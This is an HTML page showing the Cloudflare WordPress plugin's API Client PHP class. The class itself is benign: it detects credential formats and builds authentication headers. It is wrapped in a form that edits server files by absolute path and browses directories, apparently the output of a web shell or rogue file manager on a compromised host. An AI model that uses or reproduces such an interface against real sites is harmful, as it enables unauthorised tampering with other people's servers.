<h2>File Contents: /home/planet5/public_html/wp-content/plugins/cloudflare/src/API/Client.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-content/plugins/cloudflare/src/API/Client.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php

namespace Cloudflare\APO\API;

use Cloudflare\APO\Integration\IntegrationInterface;
use Cloudflare\APO\WordPress\Utils;

class Client extends AbstractAPIClient
{
    const CLIENT_API_NAME = &#039;CLIENT API&#039;;
    const ENDPOINT = &#039;https://api.cloudflare.com/client/v4/&#039;;
    const X_AUTH_KEY = &#039;X-Auth-Key&#039;;
    const X_AUTH_EMAIL = &#039;X-Auth-Email&#039;;
    const AUTHORIZATION = &#039;Authorization&#039;;
    const USER_AGENT = &#039;User-Agent&#039;;

    /**
     * Returns true when the supplied credential is a Cloudflare Global API
     * Key (which uses the X-Auth-Email + X-Auth-Key header pair) and false
     * for everything else (treated as an API Token sent via Authorization:
     * Bearer).
     *
     * Cloudflare credential formats (see
     * https://developers.cloudflare.com/fundamentals/api/get-started/token-formats/):
     *   - Global API Key  (new):      &quot;cfk_&quot;  + 40 chars + checksum
     *   - User API Token  (new):      &quot;cfut_&quot; + 40 chars + checksum
     *   - Account API Token (new):    &quot;cfat_&quot; + 40 chars + checksum
     *   - Global API Key  (pre-2026): 37-45 character lowercase hex string
     *   - API Token       (pre-2026): 40-character alphanumeric string
     *
     * @param string $key
     *
     * @return bool
     */
    public static function isGlobalApiKey($key)
    {
        if (!is_string($key) || $key === &#039;&#039;) {
            return false;
        }

        // New scannable format: explicitly prefixed.
        if (strncmp($key, &#039;cfk_&#039;, 4) === 0) {
            return true;
        }
        if (strncmp($key, &#039;cfut_&#039;, 5) === 0 || strncmp($key, &#039;cfat_&#039;, 5) === 0) {
            return false;
        }

        // Pre-2026 Global API Key: 37-45 lowercase hex characters.
        $len = strlen($key);
        if ($len &gt;= 37 &amp;&amp; $len &lt;= 45 &amp;&amp; preg_match(&#039;/^[0-9a-f]+$/&#039;, $key)) {
            return true;
        }

        return false;
    }

    /**
     * @param Request $request
     *
     * @return Request
     */
    public function beforeSend(Request $request)
    {
        $key = $this-&gt;data_store-&gt;getClientV4APIKey();
        $headers = array(
            self::CONTENT_TYPE_KEY =&gt; self::APPLICATION_JSON_KEY,
        );

        $composer = Utils::getComposerJson();
        $version = $composer[&#039;version&#039;] ?? &#039;unknown&#039;;
        $wp_version = $GLOBALS[&#039;wp_version&#039;] ?? &#039;unknown&#039;;
        $headers[self::USER_AGENT] =  &#039;wordpress/&#039; . $wp_version . &#039;; cloudflare-wordpress-plugin/&#039; . $version;

        // Cloudflare distinguishes Global API Keys (sent via X-Auth-Email +
        // X-Auth-Key) from API Tokens (sent via Authorization: Bearer) by the
        // credential format. See self::isGlobalApiKey().
        if (self::isGlobalApiKey($key)) {
            $headers[self::X_AUTH_EMAIL] = $this-&gt;data_store-&gt;getCloudFlareEmail();
            $headers[self::X_AUTH_KEY] = $key;
        } else {
            $headers[self::AUTHORIZATION] = &quot;Bearer {$key}&quot;;
        }

        $request-&gt;setHeaders($headers);

        // Remove cfCSRFToken (a custom header) to save bandwidth
        $body = $request-&gt;getBody();
        unset($body[&#039;cfCSRFToken&#039;]);
        $request-&gt;setBody($body);

        return $request;
    }

    /**
     * @param $message
     *
     * @return array
     */
    public function createAPIError($message)
    {
        $this-&gt;logger-&gt;error($message);

        return array(
            &#039;result&#039; =&gt; null,
            &#039;success&#039; =&gt; false,
            &#039;errors&#039; =&gt; array(
                array(
                    &#039;code&#039; =&gt; &#039;&#039;,
                    &#039;message&#039; =&gt; $message,
                ),
            ),
            &#039;messages&#039; =&gt; array(),
        );
    }

    /**
     * @param error
     *
     * @return string
     */
    public function getErrorMessage($error)
    {
        $jsonResponse = json_decode($error-&gt;getResponse()-&gt;getBody(), true);
        $errorMessage = $error-&gt;getMessage();

        if (count($jsonResponse[&#039;errors&#039;]) &gt; 0) {
            $errorMessage = $jsonResponse[&#039;errors&#039;][0][&#039;message&#039;];
        }

        return $errorMessage;
    }

    /**
     * @param $response
     *
     * @return bool
     */
    public function responseOk($response)
    {
        return isset($response[&#039;success&#039;]) ? $response[&#039;success&#039;] : false;
    }

    /**
     * @return string
     */
    public function getEndpoint()
    {
        return self::ENDPOINT;
    }

    /**
     * @return string
     */
    public function getAPIClientName()
    {
        return self::CLIENT_API_NAME;
    }

    /**
     * GET /zones/:id.
     *
     * @param $zone_tag
     *
     * @return string
     */
    public function zoneGetDetails($zone_tag)
    {
        $request = new Request(&#039;GET&#039;, &#039;zones/&#039;.$zone_tag, array(), array());

        return $this-&gt;callAPI($request);
    }
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-content%2Fplugins%2Fcloudflare%2Fsrc%2FAPI'>⬅ Back to Directory</a>